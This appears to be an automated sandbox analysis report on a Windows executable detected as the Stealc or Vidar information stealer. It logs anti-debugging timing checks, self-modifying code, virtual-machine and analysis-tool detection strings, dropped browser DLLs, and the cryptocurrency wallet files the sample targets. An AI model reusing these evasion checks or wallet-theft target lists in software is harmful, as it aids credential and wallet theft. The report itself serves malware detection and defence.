Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D2D3D second address: 14D2D43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D2D43 second address: 14D2D64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDA8CCCE539h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D2D64 second address: 14D2D68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D5743 second address: 14D5758 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 jp 00007FDA8CCCE526h 0x0000000f push edi 0x00000010 pop edi 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14D5758 second address: 14D5768 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jns 00007FDA8CCA1266h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E368A second address: 14E368E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E368E second address: 14E3696 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E3696 second address: 14E36B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCCE530h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E36B4 second address: 14E36B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E36B8 second address: 14E36BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E36BE second address: 14E36E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FDA8CCA1266h 0x00000012 jmp 00007FDA8CCA1277h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E3B53 second address: 14E3B57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E3B57 second address: 14E3B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E3B5F second address: 14E3B66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E3CF7 second address: 14E3CFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E3E82 second address: 14E3EAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 jmp 00007FDA8CCCE532h 0x0000000a pop edi 0x0000000b popad 0x0000000c push ecx 0x0000000d jnp 00007FDA8CCCE52Ch 0x00000013 jg 00007FDA8CCCE526h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E3EAC second address: 14E3EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E4018 second address: 14E4032 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCCE536h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E4032 second address: 14E4038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E4038 second address: 14E4068 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDA8CCCE534h 0x00000007 pushad 0x00000008 jmp 00007FDA8CCCE537h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E4068 second address: 14E406E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E406E second address: 14E4080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a jc 00007FDA8CCCE526h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E4080 second address: 14E4088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E4088 second address: 14E40A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FDA8CCCE533h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E40A2 second address: 14E40A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E40A8 second address: 14E40B2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDA8CCCE526h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E41E1 second address: 14E41EB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E41EB second address: 14E4207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDA8CCCE538h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E86BB second address: 14E86BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E86BF second address: 14E86C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E8770 second address: 14E8775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E8A6F second address: 14E8A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14E9F17 second address: 14E9F21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589028F second address: 5890295 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5890295 second address: 5890299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5890343 second address: 5890347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5890347 second address: 589034D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589034D second address: 5890353 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5890353 second address: 5890357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5890A6B second address: 5890ACB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDA8CCCE530h 0x00000009 or cx, 5AB8h 0x0000000e jmp 00007FDA8CCCE52Bh 0x00000013 popfd 0x00000014 mov di, cx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f jmp 00007FDA8CCCE537h 0x00000024 jmp 00007FDA8CCCE538h 0x00000029 popad 0x0000002a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 12616B8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 125F696 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1424EF9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 140F7E6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1487A46 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01014910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_01014910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0100DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0100E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0100BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01013EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_01013EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0100F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_010016D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010138B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_010138B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0100ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01014570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_01014570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0100DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01001160 GetSystemInfo,ExitProcess,

0_2_01001160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1993333489.000000000184E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware&
Source: file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1993333489.000000000184E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.1993333489.0000000001896000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13509
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13528
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13506
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-14695
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13520
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13560

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_010045C0 VirtualProtect ?,00000004,00000100,00000000

0_2_010045C0

Source: C:\Users\user\Desktop\file.exe

0_2_01019860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01019750 mov eax, dword ptr fs:[00000030h]

0_2_01019750

Source: C:\Users\user\Desktop\file.exe

0_2_01005100

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7328, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01019600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_01019600

Source: file.exe, file.exe, 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Y~4Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_01017B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01016920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_01016920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01017850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_01017850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01017A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_01017A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.1000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1759914221.0000000005700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1993333489.000000000184E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7328, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7328, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
